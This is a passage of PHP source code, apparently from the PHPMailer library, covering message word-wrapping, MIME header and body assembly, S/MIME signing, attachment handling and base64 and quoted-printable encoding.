     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
